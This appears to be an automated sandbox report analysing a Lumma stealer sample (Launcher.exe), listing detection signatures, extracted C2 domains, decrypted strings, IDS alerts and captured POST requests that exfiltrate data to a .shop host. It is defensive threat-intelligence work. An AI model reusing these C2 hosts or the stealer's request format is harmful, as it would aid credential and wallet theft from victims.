Edit tour

Windows Analysis Report
Launcher.exe

Overview

General Information

Sample name:	Launcher.exe
Analysis ID:	1582532
MD5:	5bef55977a460a2162dd7f670b4a766a
SHA1:	a3757f1cc17b9a534a2794345cf83c9b72a69aa5
SHA256:	01847c8093c8715c282033512e67d57aafad3c787849a121f621ec9f04214340
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Launcher.exe (PID: 6048 cmdline: "C:\Users\user\Desktop\Launcher.exe" MD5: 5BEF55977A460A2162DD7F670B4A766A)

conhost.exe (PID: 6472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Launcher.exe (PID: 7044 cmdline: "C:\Users\user\Desktop\Launcher.exe" MD5: 5BEF55977A460A2162DD7F670B4A766A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["tirepublicerj.shop", "fancywaxxers.shop", "wholersorie.shop", "abruptyopsn.shop", "rabidcowse.shop", "noisycuttej.shop", "nearycrepso.shop", "cloudewahsj.shop", "framekgirus.shop"], "Build id": "yau6Na--622914791"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: Launcher.exe PID: 7044	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Launcher.exe PID: 7044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Launcher.exe PID: 7044	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Launcher.exe PID: 7044	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:42:00.878009+0100	2028371	3	Unknown Traffic	192.168.2.7	49699	104.21.96.1	443	TCP
2024-12-30T20:42:01.944538+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	104.21.96.1	443	TCP
2024-12-30T20:42:03.140784+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	104.21.96.1	443	TCP
2024-12-30T20:42:04.207164+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	104.21.96.1	443	TCP
2024-12-30T20:42:06.012966+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	104.21.96.1	443	TCP
2024-12-30T20:42:07.575625+0100	2028371	3	Unknown Traffic	192.168.2.7	49704	104.21.96.1	443	TCP
2024-12-30T20:42:09.077797+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	104.21.96.1	443	TCP
2024-12-30T20:42:11.256883+0100	2028371	3	Unknown Traffic	192.168.2.7	49706	104.21.96.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:42:01.380600+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49699	104.21.96.1	443	TCP
2024-12-30T20:42:02.417442+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	104.21.96.1	443	TCP
2024-12-30T20:42:11.727704+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49706	104.21.96.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:42:01.380600+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49699	104.21.96.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:42:02.417442+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49700	104.21.96.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:42:08.104779+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49704	104.21.96.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://fancywaxxers.shop:443/apial	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/apitPK	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/apir3.default-release/key4.dbPK	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apijaT	Avira URL Cloud: Label: malware
Source: fancywaxxers.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/K	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api~	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apie	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/#	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api0	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/DlJ	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/;	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/api	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api9	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["tirepublicerj.shop", "fancywaxxers.shop", "wholersorie.shop", "abruptyopsn.shop", "rabidcowse.shop", "noisycuttej.shop", "nearycrepso.shop", "cloudewahsj.shop", "framekgirus.shop"], "Build id": "yau6Na--622914791"}

Multi AV Scanner detection for submitted file

Source: Launcher.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Machine Learning detection for sample

Source: Launcher.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fancywaxxers.shop
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--622914791

Source: Launcher.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49706 version: TLS 1.2

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_001281F8 FindFirstFileExW,	0_2_001281F8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_001282A9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_001282A9
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_001281F8 FindFirstFileExW,	3_2_001281F8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_001282A9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_001282A9

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esp+edi-4Fh]	3_2_0043E043
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov al, 01h	3_2_0043E1E1
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-56F603E5h]	3_2_0042D5B5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042C601
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, eax	3_2_0043D962
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebx, edx	3_2_0040B9B5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+0D4DFAB1h]	3_2_0043FA20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+6E7A9B35h]	3_2_00426B60
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+6E7A9B35h]	3_2_00426B60
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebx+09h]	3_2_0040AB30
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 6E87DD67h	3_2_0043BDD0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, ebx	3_2_0043BDD0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, ecx	3_2_0040DF42
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	3_2_0041F040
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+04h]	3_2_0043C020
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [esi], cx	3_2_004170CA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+18h]	3_2_004170CA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_0041D0EC
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+0D4DFAB1h]	3_2_004400B0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+44h]	3_2_0041C11B
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [ebp-44h]	3_2_00429129
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov esi, eax	3_2_0043D25E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-56F603F1h]	3_2_0043C210
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [ebp-44h]	3_2_00429129
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 385488F2h	3_2_004264D7
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, ecx	3_2_0043E4E1
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_004074F0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_004074F0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-56F603FDh]	3_2_0043C540
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [ecx], dx	3_2_0041D50B
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then test eax, eax	3_2_00439520
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then add ecx, 02h	3_2_00439520
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then push eax	3_2_00439520
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042E5EF
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-3394892Fh]	3_2_0041958C
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042C607
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-3DCE6797h]	3_2_0041E630
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, eax	3_2_00409770
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+6A0FF1DCh]	3_2_00409770
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, ecx	3_2_00409770
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	3_2_004257D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edi, dword ptr [esp+2Ch]	3_2_004257D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0040A7EC
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov esi, edx	3_2_00429862
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov esi, edx	3_2_00429862
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esp+edi-61h]	3_2_0041B83D
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebx, eax	3_2_00405960
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebp, eax	3_2_00405960
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-54159B5Eh]	3_2_0040C9D1
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp word ptr [esi+edx+02h], 0000h	3_2_004209F0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+60h]	3_2_004189FD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0042AAA0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00435B00
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [ecx], dx	3_2_0040DBE5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	3_2_00402B90
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+0D4DFAB1h]	3_2_0043FD30
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00428DA0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp dword ptr [00447A3Ch]	3_2_00428DA0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+02h]	3_2_00429E60
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, edi	3_2_00427E69
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_0041CE98
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [ebx], cl	3_2_0042BEA2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_0041CEB5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, eax	3_2_00415F48
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov dword ptr [esi+0Ch], edx	3_2_0040AFC0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_0042AFD0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esp+edi-72A146CEh]	3_2_00423FF2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49699 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49704 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49699 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49706 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49700 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 104.21.96.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: framekgirus.shop

Source: Joe Sandbox View

IP Address: 104.21.96.1 104.21.96.1

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49704 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49706 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49699 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 104.21.96.1:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1B440BLEDDO6AXKKBUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12848Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AJV7MU0O70OOBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15050Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JDYDVLQAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20345Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Q6TSHF2OA146EAM6J34User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1229Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VUZNHN1N0OFOK54QY1RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550993Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: fancywaxxers.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: fancywaxxers.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Launcher.exe, 00000003.00000003.1285808900.000000000306C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240048261.000000000305C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518656985.00000000030A4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2473429917.00000000030A6000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1296886962.000000000306B000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1296626962.0000000003056000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240150298.000000000306D000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1284751333.0000000003056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
